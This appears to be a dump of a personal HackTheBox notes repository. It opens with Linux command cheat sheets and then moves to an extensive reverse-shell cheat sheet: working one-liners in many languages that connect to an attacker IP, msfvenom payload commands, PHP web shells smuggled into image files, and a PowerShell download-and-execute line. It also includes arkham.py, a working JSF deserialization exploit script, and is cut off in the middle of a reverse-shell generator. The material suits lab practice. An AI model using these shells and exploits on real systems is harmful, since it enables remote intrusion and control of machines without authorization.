curl --http3 http://10.10.10.10
# obtain only the response header
curl --head http://10.10.10.10.
# upload files via curl
curl --user "{user}:{creds}" --upload-file=<file> "http://10.10.10.10/upload_location"
# curl save the output
curl http://10.10.10.10 -o index.html
# pipe the requesting files
curl http://10.10.10.10:<port_no>:lin(peas\|enum).sh | bash
```
#### Wget
```bash
# download files with wget
wget http://10.10.10.10/xxx.sh
# run files without downloading
wget -O - http://10.10.10.11:<port_no>:lin(peas\|enum).sh
```
#### SED
```bash
# search and replace strings
cat username.txt | sed s/{stringToBeChanged}/{replacementString}/g
# replace the last ',' with a null character
cat usernames.txt | sed s/,$//
# add \x after every two characters, the .. denotes the two characters, \x&, adds \x and & doesnt delete the characters that were before
cat hexpayload.txt | sed 's/../\\x&/g'
# replace something in a file, replace the last occurance of , in the intel_update.log file ( in each line)
sed -i 's/,$/\]/' intel_update.log
# replace only the last occurance of , at the end of the line in the end of the file ( make changes only in the last line)
# the $ before s/,$/\]/ metions the last line of the file
sed -i '$ s/,$/\]/' intel_update.log
# delete empty lines in a file
cat test.txt | sed -r '/^\s*$/d'
# use -i when a modification needs to be done on the file
# use -r when the modification has to be done on the output alone
```
#### tr
```bash
# translate new lines '\n' into ','; used in HTB nmap
cat usernames.txt | tr '\n' ','
```
#### Find
```bash
# find with file names
find . -name user.txt
# find and execute
find . -name '*.txt' -exec cat "{}" \;
# {} is used as the place holder and tells the follwing to as an argument
# find directories with the specified name and execute the command
find . -type d -name uploads -exec rm -rf "{}" ';'
# find and copy files
find -name 'file.ext' -exec cp "{}" <copy_path> \;
# find the recently modified files
# maxdepth - sub directories, newermt - timestamp
find . -maxdepth 1 -newermt "2016-12-06"
# find files with specific string in it
find . -type f -print0 | xargs -0 -e grep -niH -e "your common word to search"
```
#### Compressing and Decompressing
```bash
# zip a folder with its contents
zip -r -9 html.zip /var/www/html
# unzip a zip file
unzip html.zip
# tar a file
tar cvf html.tar html/
# extract a .tar file
tar -xvf html.tar
# tar.gz a folder
tar cvfz html.tar.gz html/
# unzip a *.tar.gz file
tar -xzvf html.tar.gz
# unzip rar file
unrar x html.rar
```
#### Xclip
```bash
# installation
sudo apt-get install xclip
# copying contents from a file and pasting it with 'mouse scroll button'
cat user.txt | xclip
# copying file and using cttl + v for pasting
cat user.txt | xclip -sel clip
cat user.txt | xclip -selection clipboard
# copy the contents in the primary clipboard
cat user.txt | xclip -selection primary
```
#### Misc
```bash
# monitor, repeat the same command for a period of time
# ls -la every 1 sec on a dir
watch -n 1 'ls -la'
```
#### Bash Loops
```bash
# for loop that adds payload += in each line of the file
for i in $(cat hexdata); do echo "payload += b'$i'"; done
```
#### Tail <a name='tail'></a>
```bash
# view only last line of the file
tail -1 <file>
# view last 7 lines from the file
tail -n7 <file>
# omit the line specified before
tail +7 <file> # displays without the first seven lines of the file
# update the contents of the file and provide the output
tail -f <file>
```
#### Watch <a name='watch'></a>
```bash
# repeat executing the command
watch <command>
# execute the commands in specific intervals
watch -n <seconds> <command>
# highlight the differences in each execution ## Thanks copycookie.com
watch -n <seconds> -d <command>
# exit on changes
watch -g <command>
```
================================================
FILE: notes/Reverse Shell.md
================================================
# Reverse Shells
### Reverse Shells
- [Bash TCP](#basht)
- [Bash UDP](#bashu)
- [Netcat](#nc)
- [NCat](#ncat)
- [Telnet](#tn)
- [Socat](#scat)
- [Perl](#perl)
- [Python](#py)
- [PHP](#php)
- [Ruby](#rb)
- [Secure Reverse Shell](#ssl)
- [Powershell](#ps)
- [AWK](#awk)
- [TCLsh](#tsh)
- [Java](#java)
- [Lua](#lua)
- [MSF Reverse Shell](#msf)
- [XTerm](#xt)
- [Magic Bytes](#image)
#### Bash TCP <a name='basht'></a>
```bash
# on the victim machine
# 1.syntax: bash -i >& /dev/tcp/{attacker IP}/{port} 0>&1
bash -i >& /dev/tcp/10.10.14.32/1337 0>&1
# 2.syntax: /bin/bash/ -i > dev/tcp/{attacker IP}/{port} 0<& 2>&1
/bin/bash -i > /dev/tcp/10.10.14.32/1337 0<& 2>&1
# 3.syntax: exec 5<>/dev/tcp/{attacker IP}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/10.10.14.32/1337;cat <&5 | while read line; do $line 2>&5 >&5; done
# 4.syntax: exec /bin/sh 0</dev/tcp/{attacker IP}/{port} 1>&0 2>&0
exec /bin/sh 0</dev/tcp/10.10.14.32/1337 1>&0 2>&0
# 5.syntax: 0<&196;exec 196<>/dev/tcp/{attacker IP}/{port}; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/10.10.14.32/1337; sh <&196 >&196 2>&196
# on attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### Bash UDP <a name='bashu'></a>
```bash
# on the victim machine
# syntax: sh -i >& /dev/udp/{attacker IP}/{port} 0>&1
sh -i >& /dev/udp/10.10.14.32/1337 0>&1
# on attacker machine
# syntax: nc -u -lvp {port}
nc -u -lvp 1337
```
#### NetCat <a name='nc'></a>
```bash
# 1.syntax: nc -e /bin/sh {attacker IP} {port}
nc -e /bin/bash 10.10.14.32 1337
# 2.syntax: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {attacker IP} {port} >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 1337 >/tmp/f
# 3.syntax: mknod backpipe p && nc {attacker IP} {port} 0<backpipe | /bin/bash 1>backpipe
mknod backpipe p && nc 10.10.14.32 1337 0<backpipe | /bin/bash 1>backpipe
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### NCat <a name='ncat'></a>
```bash
# on the victim machine
# 1.TCP Syntax: ncat {attacker IP} {port} -e /bin/bash
ncat 10.10.14.32 1337 -e /bin/bash
# 2.UDP Syntax: ncat --udp {attacker IP} {port} -e /bin/bash
ncat --udp 10.10.14.32 1337 -e /bin/bash
# on the attacker machine
# 1.TCP Listen syntax: ncat -l {port}
ncat -l 1337
# 2.UDP Listen syntax: ncat -u {port}
ncat -u 1337
```
#### Telnet <a name='tn'></a>
```bash
# on the victim machine
# 1.syntax: rm -f /tmp/p; mknod /tmp/p p && telnet {attacker IP} {port} 0/tmp/p 2>&1
rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.14.32 1337 0/tmp/p 2>&1
# 2.syntax: telnet {attacker IP} {port1} | /bin/bash | telnet {attacker IP} {port2}
telnet 10.10.14.32 1337 | /bin/bash | telnet 10.10.14.32 1338
# 3.syntax: rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet {attacker IP} {port} > f
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 10.10.14.32 1337 > f
# on the attacker machine
# 1.syntax: nc -lvnp {port}
nc -lvnp 1337
# 2.syntax: nc -lvnp {port1}; nc -lvnp {port 2}
nc -lvnp 1337
nc -lvnp 1338
```
#### Socat <a name='scat'></a>
```bash
# on the attacker machine
# syntax: socat file:`tty`,raw,echo=0 TCP-L:{port}
socat file:`tty`,raw,echo=0 TCP-L:1337
# on the victm machine
# 1.syntax: ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{attacker IP}:{port}
./socat tcp:<attacker-ip>:<attacker-port> exec:'bash -li',pty,stderr,setsid,sigint,sane
# 2.syntax: socat tcp-connect:{attacker IP}:{port} exec:"bash -li",pty,stderr,setsid,sigint,sane
socat tcp-connect:10.10.14.32:1337 exec:"bash -li",pty,stderr,setsid,sigint,sane
# 3.Oneliner syntax: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{attacker IP}:{port}
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.32:1337
#============================================================================#
# simple reverese shell
# on the compromised machine
socat TCP-L:<port> EXEC=/bin/bash # execute /bin/bash on conenction
# on the attacker machine
socat TCP:<compromised-machine-ip>:<opened-port> -
#
# Pivoting with socat
# machine we want to access (Machine A)
socat TCP-L:1234 EXEC:/bin/bash
# machine we have access to (pivot point- Machine B)
socat TCP-L:3333 TCP:<Machine-A IP>:1234
# attacker machine (our machine)
socat TCP:<Machine-B IP>:3333 -
# encrypted reverse shells will prevent anyone from spying and used to evade IDS
# On the attacker machine
## Generate a certificate
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.cert
# on creating values will be asked which can be left blank
# shell.key and shell.cert will be generated
# merge the key and cert file to generate a pam file
cat shell.key shell.crt > shell.pem
# the generated certificate must be used on whichever device is listening for the connection
socat openssl-listen:4444,cert=shell.pem,verify=0 -
# on the victim machine
socat openssl-connect:<attacker-ip>:4444,verify=0 EXEC:/bin/bash
# poor interactive shell will be obtained
```bash
# compromized machine
┌───[toor@parrot]─[/dev/shm]
└──╼ $socat openssl-listen:1234,cert=shell.pem,verify=0 exec:/bin/bash
```
```bash
# attackker machine
┌────[kali@kali]─[/opt/binaries]
└──╼ $socat openssl-connect:192.168.43.181:1234,verify=0 -
id
uid=1000(toor) gid=1000(toor) groups=1000(toor)
# =================================================================================================#
# fully interactive encrypted shell
# on the attacker machine
socat `tty`,raw,echo=0 openssl-listen:1234,cert=shell.pem,verify=0
# on the victim machine
socat openssl-connect:<attacker-ip>:1234,verify=0 exec:bash,pty,stderr,setsid
```
#### Perl <a name='perl'></a>
```bash
# on the victim machine
# 1.syntax: perl -e 'use Socket;$i="{attacker IP}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -e 'use Socket;$i="10.10.14.32";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 2.syntax: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{attacker IP}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.14.32:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# 3. Works only on windows machine: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"{attacker IP}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.14.32:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### Python <a name='py'></a>
```bash
# on the victim machine
# IPv4 Connection: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{attacker IP}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.32",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# IPv6 Connection: python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("{IPv6 attacker IP}",{port},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",1337,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
# on the attacker machine
# 1.syntax: nc -lvnp {port}
nc -lvnp 1337
# 2.IPv6 Connection Listenting: wget http://ftp.cn.debian.org/debian/pool/main/n/nc6/netcat6_1.0-8_amd64.deb; dpkg -i ./netcat6_1.0-8_amd64.deb; netcat -6 -l {port}
wget http://ftp.cn.debian.org/debian/pool/main/n/nc6/netcat6_1.0-8_amd64.deb; dpkg -i ./netcat6_1.0-8_amd64.deb; netcat -6 -l 1337
```
#### PHP <a name='php'></a>
```bash
# on the victim machine
# 1.syntax: php -r '$sock=fsockopen("{attacker IP}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.10.14.32",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
# 2.syntax: php -r '$s=fsockopen("{attacker IP}",{port});$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
php -r '$s=fsockopen("10.10.14.32",1337);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
# 3.Syntax: <?php system($_GET['wr3nch']); ?>
<php system($_GET['wr3nch']); >
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### Ruby <a name='rb'></a>
```bash
# on the victim machine
# 1.syntax: ruby -rsocket -e'f=TCPSocket.open("{attacker IP}",{port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e'f=TCPSocket.open("10.10.14.32",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# 2.Windows Only Syntax: ruby -rsocket -e 'c=TCPSocket.new("{attacker IP}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("10.10.14.32","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### Secure Reverse Shell <a name='ssl'></a>
```bash
# on the victim machine
# syntax: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {attacker IP}:{port} > /tmp/s; rm /tmp/s
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.32:1337 > /tmp/s; rm /tmp/s
# on the attacker machine
# Generating ssl cert and key
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# configuring on the specified port and listenting
# syntax: openssl s_server -quiet -key key.pem -cert cert.pem -port {port}
openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
# or ncat instance
# syntax: ncat --ssl -vv -l -p {port}
ncat --ssl -vv -l -p 1337
```
#### Powershell <a name='ps'></a>
```bash
# on the victim machine
# 1.syntax: powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{attacker IP}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.14.32",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# 2.Syntax: powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('{attacker IP}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.32',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# 3. Modify the IP in this file and replace share it to the victim
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### AWK <a name='awk'></a>
```bash
# on the victim machine
# syntax: awk 'BEGIN {s = "/inet/tcp/0/{attacker IP}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
awk 'BEGIN {s = "/inet/tcp/0/10.10.14.32/1337"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### TCLsh <a name='tsh'></a>
```bash
# on the victim machine
# syntax: echo 'set s [socket {attacker IP} {port}];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
echo 'set s [socket 10.10.14.32 1337];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### Java <a name='java'></a>
```bash
# on the victim machine
# syntax: r = Runtime.getRuntime()
# p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{attacker IP}/{port};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
# p.waitFor()
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.32/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### Lua <a name='lua'></a>
```bash
# on the victim machine
# 1.Only On Linux syntax: lua -e "require('socket');require('os');t=socket.tcp();t:connect('{attacker IP}','{port}');os.execute('/bin/sh -i <&3 >&3 2>&3');"
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.32','1337');os.execute('/bin/sh -i <&3 >&3 2>&3');"
# 2.On Both linux and windows:lua5.1 -e 'local host, port = "{attacker IP}", {port} local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
lua5.1 -e 'local host, port = "10.10.14.32", 1337 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### MSF Reverse Shell<a name='msf'></a>
```bash
# on the attacker machine to generate files which will yield shell rather than msf session
# transfer the generated file to the victim machine in order to obtain the shell, change the IP and Port
# war file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.32 LPORT=1337 -f war > reverse.war
# exe file
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.32 LPORT=1337 -f exe > reverse.exe
# elf file
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.32 LPORT=1337 -f elf >reverse.elf
# macho file
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.32 LPORT=1337 -f elf >reverse.elf
# aspx file
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.32 LPORT=1337 -f aspx > exploit.aspx
# jsp file
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.14.32" LPORT=1337 -f raw > shell.jsp
# python file
msfvenom -p cmd/unix/reverse_python LHOST="10.10.14.32" LPORT=1337 -f raw > shell.py
# sh file
msfvenom -p cmd/unix/reverse_bash LHOST="10.10.14.32" LPORT=1337 -f raw > shell.sh
# perl file
msfvenom -p cmd/unix/reverse_perl LHOST="10.10.14.32" LPORT=1337 -f raw > shell.pl
# after transferring
# on the attacker machine
# syntax: nc -lvnp {port}
nc -lvnp 1337
```
#### XTerm <a name='xt'></a>
```bash
# on the victim machine
xterm -display 10.10.14.32:1
Xnest :1
xhost +targetip
# on the attacker machine
nc -lvnp 6001
```
#### Magic Bytes reverse shell <a name='image'></a>
```bash
# Using magic bytes
echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg
echo '<?=`$_GET[wr3nch]`?>' >> webshell.php.jpg
# Using exiftool
exiftool -comment='<?php system($_GET['wr3nch']);?>' \<file_name\>.\<extension\>
# normal php executables
<php echo exec('whoami');?>
<php system("whoami"); ?>
<php system($_REQUEST['wr3nch']); # works with the post verb
<php system($_GET['wr3nch']); >
```
##### References:
- The reverse shells are composed in a place taken from [here](https://krober.biz/misc/reverse_shell)
- Some points are reffered form [here](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- Php reverse shell bt [pentestmonkey](https://github.com/pentestmonkey/php-reverse-shell)
================================================
FILE: notes/Reversing.md
================================================
# Reversing
## Debuggers
- [IDA Hex Rays](https://www.hex-rays.com/products/ida/support/download_freeware/)
- [Ghidra](https://ghidra-sre.org/)
- [Radare2](https://rada.re/n/radare2.html)
- [Cutter](https://cutter.re/)
- [GDB](https://www.gnu.org/software/gdb/)
- [pwntools](https://github.com/Gallopsled/pwntools)
## Commands
- [GDB](#gdb)
- [Radare2](#r2)
- [Misc](#misc)
### gdb <a name='gdb'></a>
```bash
# gdb
# load the binary
gdb ./binary
# gather information about the available functions in the binary
info functions
# disassemble a function
disassemble {function-name} # disassemble main
# change disassemble method from AT&T format to INTEL format
set disassembly-flavor intel # views instructions in intel format
set disassembly-flavor att # views instructions in AT&T format
# set a breakpoint at a specific address
break *{memory-adddress} # break *0x000011c6
# run the progam until it reaches the breakpoint
r
# move to next instruction
n
# step to next instruction
s
# gather information about the contents of the registers
info registers
# gather information on flags
p $eflags
# view the contents of the stack
# prints 20 bytes of hexdata from the memory address held by esp
x/20x $esp # esp is referenced since it changes value on pushing and popping things in/out of the stack
```
### radare2 / r2 <a name='r2'></a>
```bash
# r2
# open the files in disassemble mode
r2 -d ./binary
# analyze all the available symbols, datas etc..,
aaa
# list the available functions in the binary
afl
# move to a function
s {function-name} # s main
# print the disassmbled function
pdf
# disassemble a function with function name
pdf @{function-name} # pdf @sym.vuln
# create a breakpoint ------------
db {memory-address} # db 0x5662a1ef |
|
# run until breakpoint is reached |
dc |
|
# run until a call instruction is reached |===============> debugger Commands
dcc |
|
# run until a ret instruction is reached |
dcr |
|
# move to next instruction ------------
ds
# switch to visual mode
## Visual mode commands are specified with ## prefix
V # gives stack view of the program
## switch to interactive mode where stack, registers, disassembly are shown
!
## split the panes
| # vertical split
- # horizontal split
## add new section
# wide options will be shown like breakpoints, hexdumps, functions etc..,
<ctrl> + "
## execute commands in visual mode
: {debugger-command} # :dcc
## restart the execution with same breakpoints
: ood
## Quit the visual mode
q
# quit r2 without confirmation
Q
```
### Misc <a name='misc'></a>
```bash
# know the security implementaions on the binary
checksec --file ./binary
# know the functions in the binary
readelf --syms ./binary
# obtain spectif section's data
readelf -sj {section-name} ./binary # readelf -sj .rodata ./binary
# otain the crash message
dmesg
```
================================================
FILE: notes/linux-cli-productivity.md
================================================
# Linux Productivity
---
Tools to perform actions in the terminal
## Table Of Contents
- [Package Location](#pl)
---
### Package Location <a name="pl"></a>
- Obtain the location of the software that will be installed without installing the software
- The output will be the location of the files that will be installed, with their path
- All the files location will be installed thus the home direcotry can be obtained
```bash
sudo apt-get install apt-file
apt-file serach <packageName>
```
================================================
FILE: scripts/README.md
================================================
# Scripts
- Some of the dump scripts created while playing !
- Nvm if it isnt attaractive !!
### hackthebox
- arkham.py --> Have the ysoserial in the current directory and pass the arguments, `url`, `command`, `secretkey`
- htb-machines.py --> Prints the htb machines from its api
- name_grab.py --> Grabs the file names in the git repo, created for traceback machine.
- nc-portscan.sh --> Port scanner using nc
- rev-shells.py --> Generates reverseshell based on the provided switch `bash, nc, python, perl, ruby, php, socat`
- snapwr3nch.py --> prints the htb machine pwned achievement to a image file
- travel.py --> Automated SSRF with gopher scheme and obtains shell as `www-data`
- wr3nch.py --> first ever created automation script for htb */not so good/, dont want to make changes since its the starting step*
- xpath-inj.py --> XPath Injection on login with usernamed loaded to the script
### installation
#### Docker installation scripts
- docker-linux.sh
- docker-parrot.sh
- docker-standard.sh
- fping-install.sh --> fping is used to perform network sweep and obtain available users information
- pwntools-python3.sh --> installs pwntools
- ptyhon[2|3]-pip.sh --> installs pip2.* and pip3.*
### misc
- adapter.sh --> When used with [.p10k.zsh](https://github.com/romkatv/powerlevel10k) example function , if the vpn is available, it will show in the right side
- bashrc_custom --> Copy the files content and into `~/.bashrc` file and source it. Enjoy 😉. Best with tmux !
- fix-bg-noise-obs.sh --> fixes the background static noise in linux when recorded using obs studio
- pdf-protect.sh --> script I use to protect writeup pdf's with password
- report-gen.md --> model md file to genereate pdfs with latex
- report.sh --> generates pdf from markdown using latex
================================================
FILE: scripts/hackthebox/arkham.py
================================================
#!/usr/bin/python
from base64 import b64encode,b64decode
from hashlib import sha1
from pwn import *
from requests import post, get
import hmac
import os
import pyDes
import sys
def main():
if len(sys.argv) < 4:
print("Java JSF exploit")
# secret: SnNGOTg3Ni0=
print("Usage: {} <url> <cmd> <secret>\n".format(sys.argv[0]))
sys.exit()
url = sys.argv[1]
cmd = sys.argv[2]
secret = sys.argv[3]
log.info("Payload provided: {}".format(cmd))
cmd = "java -jar ./ysoserial.jar CommonsCollections6 \"{}\" > payload.bin".format(cmd)
log.info("Generating the payload with: {}".format(cmd))
os.system(cmd)
log.info("Payload was written to payload.bin, reading it into variable...")
with open("payload.bin", "rb") as f:
payload = f.read()
log.info("Length of payload: {} bytes".format(len(payload)))
key = b64decode(secret)
des = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
enc = des.encrypt(payload)
b = hmac.new(key, bytes(enc), sha1).digest()
payload = enc + b
log.info("Sending encoded payload: {}".format(b64encode(payload)))
data = {"javax.faces.ViewState": b64encode(payload)}
r = post(url, data=data)
log.success("Done!")
if __name__ == "__main__":
main()
================================================
FILE: scripts/hackthebox/htb-machines.py
================================================
import requests
import json
import sys
from pwn import *
if len(sys.argv[1:]) != 1:
print("Usage: {} <htb-api key>".format(sys.argv[0]))
sys.exit()
url = "https://www.hackthebox.eu/api/machines/get/all?api_token="
api_key = sys.argv[1]
url += api_key
print(url)
headers = {"User-agent": "Mozilla 5.0"}
re = requests.get(url=url, headers=headers)
if re.status_code == 200:
machines = re.json()
log.info("Total of {} Machines".format(len(machines)))
try:
for i in range(0, len(machines)+1):
file_ = open("machines.txt", 'a')
#print("- [ ] {} - {} - {} - {} : {} <br />\n<details>\n<summary>Techniques<\summary>\n - Yet to be completed \n<\details>".format(machines[i]['id'], machines[i]['name'], machines[i]['os'], machines[i]['ip'], machines[i]['rating']))
lines = "- [ ] {} - {} - {} - {} : {} <br />\n<details>\n\t<summary> Summary of the box </summary>\n - Yet to be completed \n</details> \n\n".format(machines[i]['id'], machines[i]['name'], machines[i]['os'], machines[i]['ip'], machines[i]['rating'])
file_.write(lines)
file_.close()
except IndexError:
print("All Machines Logged")
sys.exit()
except KeyboardInterrupt:
log.warning("Operation Ended by user")
sys.exit()
================================================
FILE: scripts/hackthebox/name_grab.py
================================================
import requests
from bs4 import BeautifulSoup
from optparse import OptionParser as op
import sys
URL = str(input("Enter the github URL: "))
print("Scraping for file names in: {}".format(URL))
r = requests.get(URL)
soup = BeautifulSoup(r.text, 'html.parser')
container_ = soup.find('div',{'class':"js-details-container Details"})
name_ = container_.find_all('a',{'class':'js-navigation-open link-gray-dark'})
for i in name_:
print(i.get('title'))
================================================
FILE: scripts/hackthebox/nc-portscan.sh
================================================
#!/bin/bash
if [ $# -eq 0 ]; then
echo "Pass the ip to scan for scan";
echo "usage: nc-portscan <machine ip>";
exit 1
fi
echo "looking for open ports in $1"
for i in $(seq 1 65535); do echo "Port: $i"; nc -zv $1 $i 2>&1 | grep open; do
================================================
FILE: scripts/hackthebox/rev-shells.py
================================================
#!/usr/bin/env python3
from pwn import *
import argparse
parser = argparse.ArgumentParser(description="Quick Reverse shell provider")
